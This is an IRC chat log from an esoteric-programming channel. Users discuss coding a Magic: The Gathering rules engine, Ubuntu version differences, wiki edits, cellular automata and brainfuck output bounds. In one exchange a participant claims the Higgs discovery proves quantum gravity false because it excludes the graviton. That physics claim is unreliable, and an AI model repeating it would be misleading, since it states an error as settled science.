Gargoyle Germ Giant Gnome Goat Goblin God Golem Gorgon Graveborn Gremlin Griffin Hag Harpy Hellion Hippo Hippogriff Homarid Homunculus Horror Horse Hound Human Hydra Hyena Illusion Imp Incarnation Insect Jellyfish Juggernaut Kavu Kirin Kithkin Knight Kobold Kor Kraken Lamia Lammasu Leech Leviathan Lhurgoyf Licid Lizard Manticore Masticore Mercenary Merfolk Metathran 22:34:08 Minion Minotaur Monger Mongoose Monk Moonfolk Mutant Myr Mystic Naga Nautilus Nephilim Nightmare Nightstalker Ninja Noggle Nomad Nymph Octopus Ogre Ooze Orb Orc Orgg Ouphe Ox Oyster Pegasus Pentavite Pest Phelddagrif Phoenix Pincher Pirate Plant Praetor Prism Processor Rabbit Rat Rebel Reflection Rhino Rigger Rogue Sable Salamander Samurai Sand Saproling Satyr Scarecrow Scion Scorpion Scout Serf Serpent Shade Shaman Shapeshifter Sheep Siren Skeleton 22:34:08 Slith Sliver Slug Snake Soldier Soltari Spawn Specter Spellshaper Sphinx Spider Spike Spirit Splinter Sponge Squid Squirrel Starfish Surrakar Survivor Tetravite Thalakos Thopter Thrull Treefolk Triskelavite Troll Turtle Unicorn Vampire Vedalken Viashino Volver Wall Warrior Weird Werewolf Whale Wizard Wolf Wolverine Wombat Worm Wraith Wurm Yeti Zombie Zubera" printed on it isn't really what I want to do. 22:36:35 tswett: then make a class and functions that abstract this functionality, by representing an effective set of creature types as either a set of them or the complement set, whichever is more convenient? 22:37:10 I figure I'll just represent a creature type as a Func. 22:37:15 with all the necessary functions to operate on that set, eg. add a creature type non-destructively, construct an empty set, construct a full set, check membership 22:37:22 tswett: what is Func? 22:37:40 The type of a function. 22:37:49 tswett: nope. don't forget that you have to be able to check quickly whether two creatures share a creature type. 22:37:54 [wiki] [[EsoKit]] N http://esolangs.org/w/index.php?oldid=45037 * Hppavilion1 * (+6554) Created base page. 22:37:59 Ah, right. 22:39:04 Okay, then. I'll have a class called "CreatureTypeSet". 22:40:00 tswett: further, there's a subtilty why, even if you don't care about efficiency, you have to treat Woodland Changeling and similar cards as having only Shapeshifter in the type line, despite that they have all creature types at all times: 22:40:46 the text-changing effect of Artificial Evolution can change a creature type on the type line to another type (even to a type that already appears), but it can't change the types of a Woodland Changeling 22:40:56 (welcome to M:tG) 22:42:50 Thus, you have to know about the type line separately. 22:43:17 Now, is it possible for a characteristic-defining ability to stop having its effect? 22:43:35 Like, can a creature with Devoid lose Devoid, causing it to have the color implied by its mana cost? 22:44:41 tswett: some characteristic-defining effects that define the p/t of a creature work only on the battlefield 22:45:18 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:46:29 tswett: also, anything that overwrites copyable values, namely copy effects, object being face down, object observed in a hidden zone without being revealed, split/flip/transformed cards, can disable the characteristic-defining effect 22:47:10 tswett: but you can't just have a creature lose devoid like that, because all those effects overwrite the whole text of the card 22:47:17 More specific question. Suppose a creature whose mana cost is B and which has Devoid is affected by an effect that says it loses all abilities. Does it become black? 22:48:12 [wiki] [[EsoKit]] http://esolangs.org/w/index.php?diff=45038&oldid=45037 * Hppavilion1 * (+1086) Fixed a header error, added EsoKit.dev section to primary submodules (forgot about it on the first pass! Whoops!), Libraries section. 22:48:20 tswett: text-changing effects and splice effects can modify or copy characteristic-defining abilities, but I think nothing you can splice has such an ability so that doesn't matter 22:48:43 tswett: no, a Humbled devoid creature is still colorless, because of the layering rules 22:48:52 Hi tswett! 22:49:25 Hey there. 22:49:57 i got 100% on that challenge, this is my code http://arin.ga/AfiHfV/raw 22:50:01 is there a better way? 22:50:14 https://www.codeeval.com/open_challenges/44/ this challenge 22:50:14 Text-changing can modify a characteristic-defining ability, namely you could artificially evolve a Coiling Woodworm or Darkmoor Sorceress to care about your Islands 22:50:26 (all Islands on the bf, in the first case) 22:50:39 it takes too long 22:51:00 Um, not artificially evolve, but whatever those two cards are that can change a land type in text. 22:51:14 Now, is it reasonably possible for a creature to have all creature types *except* for one or two? 22:51:18 Magical Hack 22:51:31 tswett: that's a good question. I'm not sure. 22:52:00 tswett: it's "reasonably possible" in that it might be possible with something they'll print in the future, but I'm not sure if there's already such a card 22:52:07 Right. 22:52:12 tswett: I'm thinking of mostly an effect that removes a specific creature type. 22:52:21 [wiki] [[EsoKit]] M http://esolangs.org/w/index.php?diff=45039&oldid=45038 * Hppavilion1 * (+142) Added a new EsoKit.ek thing 22:52:28 It is probably already possible, but I don't know an example off-hand 22:52:29 Of course, it's also unreasonably possible, in that you could just add all creature types one by one or something. 22:52:46 You know what, that's something that could plausibly happen in a game. 22:52:52 sure 22:52:55 Assuming there's actually an effect that adds a creature type. 22:53:11 of course there is 22:53:25 Conspiracy is inefficient 22:53:39 Hmmm... I wonder what to do about the fact that Magic is uncomputable. 22:54:14 "Just throw an exception whenever you encounter an uncomputable situation", says the beginning CS student. 22:54:44 tswett: Mistform Sliver is the more efficient way 22:55:04 There you go. 22:55:31 Now just find yourself an unlimited mana combo and say, "I add all creature types except Wolf to this, in alphabetical order." 22:56:17 And hope your opponent doesn't say, "Okay, so are you activating the ability an odd or an even number of times?" 22:56:36 tswett: even. might repeat some creature types, but who cares. 22:58:18 -!- shu1 has joined. 22:58:35 [wiki] [[EsoKit]] M http://esolangs.org/w/index.php?diff=45040&oldid=45039 * Hppavilion1 * (+172) EsoKit.nsi.io.err: Just a slight variant. 22:58:37 do you lose the game if you announce that, the opponent asks you to do it step by step, and you then leave out some creature type? 22:58:53 int-e: no, why would you? 22:59:05 just a thought 22:59:38 (no, of course not, since there's no such rule...) 22:59:56 hmm, but perhaps you could make a card 23:00:23 int-e: you could set up a combo where you win only if your creature has all creature types, probably 23:00:51 -!- oerjan has quit (Quit: leaving). 23:01:14 hmm, something where your opponent gets to name a creature type, perhaps... 23:01:26 Yeah, if your opponent has "Choose a creature type. Destroy target creature that doesn't have that creature type." 23:01:43 Hmm. There are two possible wordings of that that are a little different. 23:02:01 int-e: no, it's quite simple. just have a Lord of Atlantis, you're attacking with a bear with all creature types already added, and your opponent has a Magical Hack he's playing on your lord 23:02:11 he's on 3 life so you win only if the Lord boosts the bear 23:02:18 That one would require you to choose a type when you cast it, and if the creature loses that type, the spell is countered. 23:02:21 no need to be all taht complicated 23:02:35 It could instead say: "Choose a creature type. If target creature doesn't have that creature type, destroy it." 23:02:43 Now you choose the creature when you cast it and the type when it resolves. 23:02:46 I think. 23:02:53 tswett: that's easy. M-Hack on Eyeblight's Ending. 23:03:31 (or M-Hack on Rend Flesh) 23:03:36 Man, implementing text-changing effects is gonna be interesting. 23:04:30 Instead of a card referring to "Color.Red", it'd have to refer to "this.ModifiedTextColors.Red" to get the color which the printed word "red" currently refers to due to text-changing effects. 23:04:53 A stupid way of doing that would be to have a member called "Color" which shadows the class... or would the class shadow the member? I don't remember. 23:08:07 wait what 23:08:20 is there only one card with four or more creature types on the type line according to current oracle text? 23:08:24 how the heck did they do that? 23:08:30 I thought there had to be dozens of such cards 23:08:53 What card is that? 23:09:18 Seton's Scout 23:09:25 it's a Centaur Druid Scout Archer 23:09:28 -!- shu1 has left. 23:10:02 mind you, Figure of Destiny evolves (not as in the rules term) to a Kithkin Spirit Warrior Avatar 23:10:38 Wonder if they errata'd Scout in because it has "Scout" in the title and Archer in because it's depicted with a bow and arrow. 23:10:46 tswett: yes 23:11:20 probably around the Great Creature Type Update at Lorwyn 23:11:32 -!- adu has joined. 23:12:28 but I thought there had to be a lot of creatures with four creature types in the oracle text. not printed, mind you, four creature types wouldn't fit on the type line except in very unusual circumstances, but oracled after the fact. 23:13:42 hmm, ok, maybe not _that_ unusual 23:15:42 "Creature – Kor Nomad Solider Zombie" or "Creature – Kor Shaman Elder Scout" could probably fit, if the expansion symbol isn't a wide one 23:16:22 Assembly-Worker Dreadnought Homunculus Shapeshifter. 23:16:33 That's what I'm going to name my first child. Assembly-Worker Dreadnought Homunculus Shapeshifter Swett. 23:17:00 "David?" "Here." "Maureen?" "Here." "Assembly-Worker?" "Here." 23:17:53 what if Sauron was a Legendary Creature – God Eye ? 23:18:25 Elder is one of the crazier creature types by the way 23:18:50 only the Elder Dragons have it now 23:21:34 And the cards that has all creature types too, would have to have it too 23:21:55 sure 23:23:53 [wiki] [[EsoKit/EsoKit.nsi.io]] N http://esolangs.org/w/index.php?oldid=45041 * Hppavilion1 * (+3137) Created page. Next step is to document what each command is and how it is mapped to the EsoKit.ek library. 23:24:41 Nightmare and Horror are strange creature types too 23:24:46 I'm not sure how they're supposed to work 23:25:05 what is it that makes a creature a nightmare, a horror, or a nightmare horror? 23:25:57 many of the Horrors seem to be what would count as demons in D&D 23:26:01 [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45042&oldid=45041 * Hppavilion1 * (+95) Changed command form 23:26:35 [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45043&oldid=45042 * Hppavilion1 * (+1) Fixed a < to < 23:27:46 Is there a way to use wikimarkup or parserfunctions to change how the title appears? 23:27:48 I think there is 23:27:54 Imma go check the main page 23:29:03 [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45044&oldid=45043 * Hppavilion1 * (+29) Attempted to fix the page title 23:29:24 [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45045&oldid=45044 * Hppavilion1 * (+8) Attempted to fix the page title 23:30:48 [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45046&oldid=45045 * Hppavilion1 * (-37) Gave up on the page title; leaving it as-is (I suppose it makes more visible logical sense this way) 23:31:19 -!- evalj has quit (Remote host closed the connection). 23:32:07 [wiki] [[EsoKit/EsoKit.nsi.io]] M http://esolangs.org/w/index.php?diff=45047&oldid=45046 * Hppavilion1 * (+121) String special characters 23:34:32 [wiki] [[Special:Log/move]] move * Hppavilion1 * moved [[Material Measurements]] to [[EsoKit/EsoKit.ek.math.mm]]: Incorporated into a new library 23:37:31 [wiki] [[EsoKit/EsoKit.ek.math.mm]] http://esolangs.org/w/index.php?diff=45050&oldid=45048 * Hppavilion1 * (+377) Incorporated properly into the EsoKit. 23:39:02 [wiki] [[EsoKit/EsoKit.ek.math.mm]] M http://esolangs.org/w/index.php?diff=45051&oldid=45050 * Hppavilion1 * (+1) Formatting 23:54:31 [wiki] [[Pantheon]] N http://esolangs.org/w/index.php?oldid=45052 * Hppavilion1 * (+549) Created Page 2015-11-02: 00:02:57 -!- adu has quit (Quit: adu). 00:11:55 [wiki] [[Canonical ingredients-oriented language]] N http://esolangs.org/w/index.php?oldid=45053 * Hppavilion1 * (+726) Created Page 00:22:39 [wiki] [[Canonical ingredients-oriented language]] http://esolangs.org/w/index.php?diff=45054&oldid=45053 * Hppavilion1 * (+452) MOAR things 00:23:00 [wiki] [[Canonical ingredients-oriented language]] M http://esolangs.org/w/index.php?diff=45055&oldid=45054 * Hppavilion1 * (+1) Fixed a break in the grammar block 00:27:36 -!- variable has joined. 00:33:09 Hm... 00:33:18 An interesting data structure would be the 2D stack or queue 00:38:33 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 00:44:12 That would be interesting. 00:44:34 I guess you'd push or pop an entire row or column at once. That's one way of doing it, at least. 00:50:46 I think the type line normally makes it a Nightmare or Horror. But, Demon is a different type it is not the same thing, so no it does not count 00:51:10 (Except for cards that have both types, whether implicitly or explicitly) 00:58:53 tswett: One idea is that, when you dequeue an item from a 2-Queue, you dequeue a queue, dequeue an item from that queue called i, enqueue the queue you dequeued, and return i 00:59:13 And enqueueing would dequeue a queue, enqueue an item into it, then enqueue the new queue 01:00:48 Even better, you have the "Exchange queue", on which there is an additional operation (possibly with enqueue and dequeue removed): It is of the form x -> x, and it takes one argument. It equeues an item then dequeues an item and returns it 01:01:08 A 2-exchange queue kind of rolls each time and is in the shape of a squeare 01:01:10 *square 01:08:32 [wiki] [[Pantheon]] http://esolangs.org/w/index.php?diff=45056&oldid=45052 * Hppavilion1 * (+87) Clarification 01:12:06 I definitely like your first idea. That sounds pretty interesting. 01:13:47 -!- boily has joined. 01:15:48 Let's see. I think I want the organization of my program to be like so: the effects of an event are determined, then the event occurs, then the effects of another event are determined, and so forth. 01:16:16 An "event" is the enstacking of a spell or ability, the resolution of a spell or ability, a special action, a state-based action, or a turn-based action. 01:19:15 Then the main loop is pretty easy to describe. 01:19:56 If a turn-based action is due, it happens, then the loop starts over. Otherwise, state-based actions are checked; if one of them is due, it happens, then the loop starts over. 01:20:58 Otherwise, if there are triggered abilities that need to be enstacked, then... all of them go on the stack simultaneously, is that right? Then a player receives priority. 01:21:59 Otherwise, a spell or ability resolves, then a player receives priority... 01:22:07 That's definitely not completely accurate. 01:26:37 apparently, the 15.10 upgrade is quite hefty. will ubuntupdate that some time this week... 01:27:47 @massages-loud 01:27:47 quintopia said 3h 11m 55s ago: you always leave just a scant few hours before i arrive. and you never have any massages. 01:27:51 Okay, I think I know exactly what the loop looks like. 01:33:11 1. If there are any state-based actions that need to happen, then one of them happens, and then repeat step 1. 2. If there are any triggered abilities that need to go on the stack, then all of them go on the stack. 3. A player receives priority; they may cast a spell, activate an ability, take a special action, or pass. 4. If they did not pass, return to step 1. 5. Otherwise, if a player needs to receive priority, return to step 3. 6. Otherwise, 01:33:11 proceed to the next step. A turn-based action occurs, if applicable. 7. Return to step 1. 01:37:53 Does that sound right? 01:44:14 If there is more than one triggered ability that are different, the controller has to decide the order, and also the target, I think 01:44:51 I think every player chooses the order to enstack their own triggered abilities. in APNAP order. 01:45:01 Yes 01:45:41 An interesting side effect of this is that the NAP's triggered abilities are faster than the AP's. 01:46:20 Yes, if they occur at the same time between getting priority 01:46:42 Maybe puzzles can be made that can involve such things 01:49:28 -!- mauris has quit (Ping timeout: 246 seconds). 01:59:33 -!- JesseH has quit (Read error: Connection reset by peer). 02:01:07 <\oren\> Can you end a game by creating an infinite loop of state-based effects? 02:03:40 If you manage to create an infinite loop of state-based actions, the game ends in a draw, assuming the actions don't allow players to make choices. 02:03:44 -!- adu has joined. 02:03:50 I don't know if it's actually possible to create an infinite loop of state-based actions, though. 02:04:18 I think I know how I'm gonna have my game handle mandatory infinite loops. 02:05:09 If the Main Loop happens 1,000 times without a player receiving priority, the game is assumed to be in an infinite loop and it's stopped. 02:06:20 All right, what did I get wrong on *this* test? 02:07:08 Miracle is a triggered ability, not a static ability. So... I guess the way that that works must be that when you draw the card with Miracle, it's in your hand, but it still must be kept revealed so it can be identified as the card that was drawn? 02:08:26 -!- boily has quit (Quit: INSUFLATED CHICKEN). 02:10:00 Activating a permanent's ability is not "tapping the permanent for mana" unless the activation cost includes the tap symbol, even if you tap the permanent to pay the cost. 02:10:37 -!- coppro has changed nick to Silo. 02:10:48 -!- Silo has changed nick to coppro. 02:11:20 -!- Frooxius has quit (Read error: Connection reset by peer). 02:11:43 -!- Frooxius has joined. 02:23:39 Miracle is a static ability linked to a triggered ability. 02:25:22 ah MTG 02:30:27 oh man I had the best magic deck build, and then they came out with commons that were twice as strong as my cards 02:30:36 lifthrasiir, you do Rust? 02:30:46 Oh is your .zip lib maintained? 02:30:48 Sgeo:yes. 02:30:59 oh, sorry, anymore :( 02:31:06 *nod* 02:31:41 So yeah. When you reveal the card, it's technically still in your hand, but you have to keep it revealed until it leaves your hand or the triggered ability leaves the stack. 02:31:44 By the way... 02:31:51 Booyah, I got 100% on that Easy Practice exam. 02:32:21 Maybe I should just use Python for this 02:33:50 Or Perl6 if it was 6.chrismas 02:37:18 In older rules there were interrupts and a lot of convoluted stuff having to do with them; mana abilities were interrupts and could be responded to by other interrupts; instants could only be countered while on the "call stack" (anything on the call stack can be responded to only by interrupts), but then moves to the main stack instead of resolving immediately 02:39:55 -!- variable has changed nick to function. 02:40:19 * adu <3 Perl6 02:40:40 * adu <3 Rust 02:42:23 * adu does not like Python very much 02:47:03 -!- function has quit (Quit: 1 found in /dev/zero). 02:47:34 Sgeo: actually, funny enough, I was writing a Rust grammar in Perl6 earlier 02:48:15 I think I like the error handling of Rust better (explicit better than implicit), but Perl6 Failures do remind me a bit of the Rust way (except with implicit handling) 02:49:53 I think Rust will replace C++, and Perl6 will replace Regex and Antlr 03:07:38 adu: I don't see perl6 replacing a parser generator... 03:13:29 zgrep: I see your point 03:13:44 When I purchased this computer they recommended that I do not upgrade Ubuntu; do you know why? (It is the OEM version, if that matters here at all) 03:14:13 Nor do I see perl5 regex, with it's perl6-specific things, replacing the more-or-less simple rules that are considered to more-or-less be regular expressions. 03:14:46 Ubuntu LTS 12 and LTS 14 are very different 03:15:08 What differences are they? Is it a different package manager? 03:15:24 zzo38: same, apt 03:15:50 but the differences I've encountered just dealing with python and sysadmin stuff could fill a small book 03:15:54 I see three reasons. 1) They installed some stuff and want you to keep it. 2) Newer stuff does things the computer doesn't support 3) They're afraid of new things and/or were simply told to say that to stop unruly customers from doing unruly things with their Ubuntu. 03:17:03 I uninstalled most of the stuff that it came with, and installed many other packages, in some cases having to add additional packages that were not already listed in the package manager 03:18:03 One trivial example is /etc/motd, LTS 12 writes the dynamic version to /run/motd, and symlinks /etc/motd to it, but LTS 14 writes the dynamic version to /run/motd.dynamic, with an extra line in /etc/pam.d/login for motd and motd.dynamic 03:18:56 14 makes more sense, because motd has historically been static, so it should be the dynamic version that has the non-standard name 03:18:58 I also happen to know that this company will not preinstall any nonfree software (although it comes with a paper that explains how to install Flash if you need it, they refuse to preinstall Flash; I did not install it though) 03:19:48 zzo38: but that's just one difference I've noticed 03:20:15 As far as I know, I have no nonfree native-code programs installed 03:20:59 zzo38: http://serverfault.com/questions/606089/would-it-be-advised-to-use-ubuntu-14-04-lts-over-12-04-lts 03:23:26 zzo38: also, I believe in 12 you have to add ifup ifdown scripts to /etc/network/interfaces, but with 14 you can use /etc/network/ifdown.d/* 03:28:56 The man pages seem to explain how message of the day works in Debian anyways, and how to force it to be static and other stuff related to it 03:29:58 zzo38: most of what I've noticed is that config files moved 03:31:39 <\oren\> Every god damn anime has an episode where they make chocolate 03:32:41 \oren\: Are you sure? 03:32:56 -!- hppavilion[2] has joined. 03:32:57 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 03:34:11 any science geeks here? 03:34:42 any one who likes music? 03:34:56 What kind of music and what kind of science? 03:35:00 http://melodysheep.bandcamp.com/album/symphony-of-science-collectors-edition 03:35:16 My ears are very happy right now 03:35:53 <\oren\> zzo38: I'm pretty sure. almost every one I've watched has had one. 03:36:53 I think there is no make chocolate in Akagi and Kaiji anime 03:38:06 adu: I do study science sometimes (especially physics, but others too), and I do have music and also I made up some of my own music file too but also other music. 03:42:52 zzo38: I like particle physics 03:43:37 zzo38: partly because I'm convinced that the weak and strong forces are framed incorrectly, and so I read particle data until I can come up with a better theory 03:45:01 <\oren\> zzo38: Good point. I guess the phenomenon must be limited to anime that feature cute girls. 03:45:15 but I'm not the only one, Faynman also said something similar, that we know QED (EM) to like 40 decimal places, and we know QCD (weak and strong) to like 2 decimal places 03:45:34 <\oren\> (There are no cute girls in kaiji or akagi, as far as I recall[C) 03:46:35 <\oren\> actually, I don't recall there being any women at all in akagi. 03:49:56 <\oren\> apparently the world of yakuza and crazy gamblers is a man's world 03:50:15 Yes, you can try to see if there is a better theory, I know there are some other unsolve problem in the physics too, such as quantum gravity, I think? 03:50:30 -!- aretecode has quit (Ping timeout: 260 seconds). 03:50:36 \oren\: I think I read it is because Fukumoto is not very good at draw women, so usually he does not 03:50:53 <\oren\> ah. that makes sense 03:53:24 But, is there any more Famicom programmers in here? 03:56:47 zzo38: nope 03:56:59 zzo38: quantum gravity was based on the graviton 03:57:23 I know that 03:57:44 zzo38: but the graviton and the Higgs particle are mutually exclusive theories, they can't both be true, and so since the Higgs boson was discovered, it means that quantum gravity is false 03:57:59 How about... 03:58:06 Instead of "Everything is an object" 03:58:12 We do "Everything is a class" 03:58:28 hppavilion[2]: but what happens when you instantiate a class? 03:58:38 O, I didn't know it is mutually exclusive 03:58:43 -!- JesseH has joined. 03:58:49 adu: You get a new class 03:58:58 * adu *mind blown* 04:01:09 -!- ^v has joined. 04:05:02 -!- hppavilion[2] has changed nick to hppavilion[1]. 04:05:42 So basically, everything is a (meta-)*class 04:08:47 sounds like OMG 04:08:54 OMG = Object Management Group 04:09:42 they have these 3 things called CWM, UML, and MOF, and if you read their object models they're almost word for word the same 04:10:15 except CWM is full of models, UML is full of metamodels, and MOF is full of metametamodels 04:12:33 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 04:43:26 -!- adu has quit (Quit: adu). 04:49:27 -!- Wright has quit (Ping timeout: 250 seconds). 04:50:02 I fail to see that much of a difference between: everything's a type, everything's an object, and everything's a class... 04:55:57 everything's a type? 05:03:53 <\oren\> there isn't a difference. if everything is the same then everything is the same 05:04:08 <\oren\> err... that isn't what I mean 05:04:19 But it can depend how its functioning is working too 05:05:18 <\oren\> I mean, if everything is the same 'thing', then that 'thing' must be usable like a function or a class or an object 05:08:36 I think in Python a class can be used like a function; I had to fix a hard drive wiping program in Python to do some additional things, and the tasks were implemented as function that return process objects; this one was different, and since I knew from some program I have seen before that a class can be use as function, I did the same thing here 05:17:04 -!- doesthiswork has quit (Quit: Leaving.). 05:18:03 -!- doesthiswork has joined. 05:21:41 -!- zgrep has quit (Quit: ZNC 1.6.1 - http://znc.in). 05:22:18 -!- doesthiswork has quit (Ping timeout: 240 seconds). 05:22:37 -!- zgrep has joined. 05:50:52 -!- hppavilion[1] has joined. 06:00:25 -!- ^v has quit (Ping timeout: 246 seconds). 06:04:46 -!- JesseH has quit (Ping timeout: 244 seconds). 06:20:28 -!- nitrix-or-treat has changed nick to nitrix. 07:34:09 -!- hppavilion[1] has quit (Ping timeout: 255 seconds). 07:40:42 -!- zgrep_ has joined. 07:40:59 -!- zgrep has quit (Ping timeout: 240 seconds). 07:41:21 -!- zgrep_ has changed nick to zgrep. 07:45:33 -!- zadock has joined. 07:49:31 -!- Patashu has joined. 08:48:00 -!- AnotherTest has joined. 09:00:34 -!- GoToTell has joined. 09:09:17 -!- jaboja has joined. 09:23:51 -!- AnotherTest has quit (Ping timeout: 265 seconds). 09:25:18 -!- sebbu has quit (Quit: reboot). 09:36:31 Before long, tswett will end up implementing a ZFC logic checker to determine that some axiomatisation of the game rules has a computable model 09:36:56 Hmm, there is https://github.com/magefree/mage 09:46:01 -!- jaboja has quit (Remote host closed the connection). 09:54:25 -!- AnotherTest has joined. 09:57:44 -!- mauris has joined. 10:00:51 -!- J_Arcane has quit (Ping timeout: 255 seconds). 10:10:56 -!- oerjan has joined. 10:23:47 -!- sebbu has joined. 10:35:03 -!- sebbu has quit (Ping timeout: 255 seconds). 10:45:35 http://archive.defense.gov/home/features/video/player.aspx?dQw4w9WgXcQ 11:01:54 -!- sebbu has joined. 11:04:27 -!- password2 has joined. 11:04:38 Hi 11:04:57 `relcome password2 11:05:08 ​password2: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 11:05:18 I have not seen that in a while 11:05:34 me neither 11:06:46 I have a random question about your wiki, How many active user do you guys have? 11:07:18 I'm trying to prove a point to my manager that mediawiki is not solely for large communities 11:09:12 if you guys don't mind me asking 11:10:22 git also works for personal projects but it was designed for the linux kernel 11:10:25 https://esolangs.org/wiki/Special:ActiveUsers has a list which seems to go 30 days back 11:10:31 same thing as mediawiki 11:10:59 * oerjan counts 39 11:11:26 oh , duh , i do have access to view it 11:11:58 i have not been on there activily since 2014 11:12:06 good, i wasn't sure 11:12:25 thy 11:12:57 * oerjan counts 20 with more than 2 actions 11:14:45 what does the 'Display users starting at' field do? 11:14:55 or what does it expect as an input? 11:15:48 -!- boily has joined. 11:16:09 any word, and then it starts there alphabetically 11:16:09 oh nvm 11:16:21 doesn't make much sense when the whole page isn't split up 11:16:24 thats a random feature 11:16:50 no it's not. there are some special pages that are far larger and you need to use that to see anything 11:16:58 would be more usefull to be able to set time frame and # of actions 11:17:03 (other than the first subframe) 11:17:11 that's true 11:17:25 i can see that it could be usefull 11:17:38 but is pagination so hard to do? 11:20:18 anyway , thanx for the info 11:20:23 you mean an actual table of subpages? 11:21:05 i imagine if this is designed for wikipedia, it would be far too resource-heavy 11:21:25 also then it would change every second 11:21:53 and the current one does not? 11:22:05 maybe I'm just too much of a fanboy for datatables 11:22:14 well it wouldn't have to update the page list constantly 11:22:19 er *it would 11:23:08 i suppose it could decide the boundaries a bit less frequently 11:23:30 in any case, it's not like we look at that list often. 11:23:35 (well i don't) 11:23:39 -!- heroux has joined. 11:23:52 the whole user list is mostly spammers :P 11:23:55 Question: has anyone done any work with Cellular Automatons using multiple rules? Like, either two CA rules alternating after each time step, or two CA rules applied to different regions of the same cell state space. 11:25:27 GoToTell: probably, although isn't the first equivalent to a cellular automaton with bigger time step and neighborhood 11:25:51 and the second one to a CA with twice the number of states (using one "bit" to encode the regions) 11:25:54 I was thinking more states. 11:26:36 Right. 11:26:40 and yeah, the first one can also be done with twice the number of states. (In both cases you get some garbage behaviour) 11:27:02 Garbage behaviour? 11:28:08 well, there are configurations that don't correspond to the right regions in the second case, and configurations that have "out of sync" (wrt. to odd/even generations) cells in the first case. 11:28:08 GoToTell: the margolus neighboorhood CAs are a bit like this, anyway. 11:28:26 https://en.wikipedia.org/wiki/Block_cellular_automaton 11:30:16 -!- mroman has joined. 11:30:25 https://esolangs.org/wiki/ESO_Sockets 11:30:34 ^- this really does not contain any useful information o_O 11:31:22 OKAY 11:31:49 -!- heroux has quit (Ping timeout: 244 seconds). 11:32:17 i guess hppavilion moved on before he got to put anything in 11:32:31 Ah. Interesting, thanks. 11:32:35 Yeah, I saw it just has one edit, and that's the create edit. 11:34:17 I know I have done that as well. Create pages of WIPs 11:35:02 but generally they shouldn't be there unless there's some substantial work to show. 11:36:39 anyway, my esolangs backlog means i haven't got to that page yet. maybe i'll delete it then. 11:37:21 -!- Melvar` has changed nick to Melvar. 11:38:19 Designing and implementing an esolang is rather a trivial task so at least if people do it and want to make the language known to others it should at least contain some reasonable documentation. 11:38:37 That's only my opinion of course. 11:38:54 i don't think that was meant to be an esolang, more part of hppavilion's "esoteric concepts" series 11:39:19 The EsoSocket is not a language, yes. 11:39:59 I know from my past how these things happens :) 11:40:18 You have some idea, make an esowiki article (to make it known) but in the end you just end up cluttering :) 11:41:57 There are articles without enough documentation to write an interpreter for it. 11:42:08 only thing I have made thats to do with esolangs is bf^ 11:42:43 Some of them were created by me 11:42:47 like https://esolangs.org/wiki/Stlisp 11:42:53 granted, there was an interpreter in C++ back then 11:42:55 but not anymore 11:43:07 and the page doesn't contain enough information to rewrite the interpreter like it was back then. 11:43:51 that makes it a question whether the article should continue to exist or not 11:44:48 https://esolangs.org/wiki/Stlang <- same thing 11:46:26 If I could delete them I probably would have done that already :D 11:49:07 -!- heroux has joined. 11:49:35 [wiki] [[Special:Log/newusers]] create * Mroman * New user account 11:50:30 [wiki] [[User:Mroman]] N http://esolangs.org/w/index.php?oldid=45057 * Mroman * (+125) Created page with "The almost living re-incarnation of [[User:Feuermonster]], same person, different account. (E-Mail-Account has been lost :()." 11:51:01 eh. why did it capitalize the m :( 11:52:04 [wiki] [[Burlesque]] http://esolangs.org/w/index.php?diff=45058&oldid=44537 * Mroman * (+38) /* Links */ added link to github repos 11:52:24 (I'm tired of having to answer the captchas everytime :D) 11:53:07 I'm the nonstandard "Fizzie" on the wiki, too. 11:53:10 Re capitalization. 11:53:12 Re capitalism. 11:59:18 mroman: you can use the {{lowercase}} template hth 12:01:02 -!- jaboja has joined. 12:01:46 -!- zadock has quit (Quit: Leaving). 12:04:25 -!- Patashu has quit (Ping timeout: 240 seconds). 12:05:04 mroman: the default mode for mediawiki is that it capitalizes the first character of every page title, sadly. this can be turned off, and probably should have for esowiki, but it's probably too late now. 12:06:59 mroman: on the other hand, even if the wiki had been set case insensitive, people would still give names to their esolangs that isn't valid as a page title, so it's probably just the frequency of that problem that changes. 12:11:36 -!- mauris_ has joined. 12:11:46 -!- mauris has quit (Ping timeout: 246 seconds). 12:21:24 -!- boily has quit (Quit: LETHARGIC CHICKEN). 12:36:16 -!- AnotherTest has quit (Ping timeout: 246 seconds). 12:37:24 What's the minimum bound for the length of a brainfuck program producing a text of length N? 12:38:15 Small 12:38:51 There's afaik no brainfuck constant larger than 18? 12:39:17 so with the dot 12:39:18 19*N 12:39:27 that's the most trivial minimum bound 12:39:34 but it can probably be done much shorter. 12:40:18 It can be done in N+1 if you don't care about "real" output 12:40:25 That is, +......................... 12:42:16 well I'm assuming the text is arbitrarily random enough 12:44:12 also you need to skip to a zero cell first. 12:44:17 so 19 is probably not enough 12:52:12 are we talking _exactly_ length N, because if so it has to be of order O(log N) for most N, if only larger than N then it's uncomputable. 12:52:29 oh wait 12:52:35 text of length N 12:53:43 anyway, for some texts it has to be on the same order as the text itself 12:53:59 while for some texts it's uncomputable. 12:54:13 mroman: The brainfuck constants expect different numbers of zero scratch cells, you can't just concatenate them to change the value in the current cell. 12:54:19 well i guess it's usually uncomputable 12:54:19 (Re the 19*N bound.) 13:00:34 step 1: encode the bits as + = 0, > = 1. step 2: encode the length somehow, so you can get back to the beginning. step 3: run a decoding and printing program. 13:01:32 from this i conclude that you can do it in 8*length + O(1). 13:01:37 hm 13:01:48 make that 8*length + O(log length). 13:02:08 -!- Froox has joined. 13:03:10 you can shorten it by using -, but then you get a more complex coding 13:04:37 -!- Frooxius has quit (Ping timeout: 246 seconds). 13:08:14 you can prefix the program with -> and just scroll back looking for a 255 on the tape, not very complex 13:10:30 i doubt you can do better than 8*N+O(1) asymptotically! 13:11:00 oerjan: are you sure you can read such a dense thing, with every cell used, with a brainfuck program? 13:12:29 -!- Frooxius has joined. 13:13:35 b_jonas: 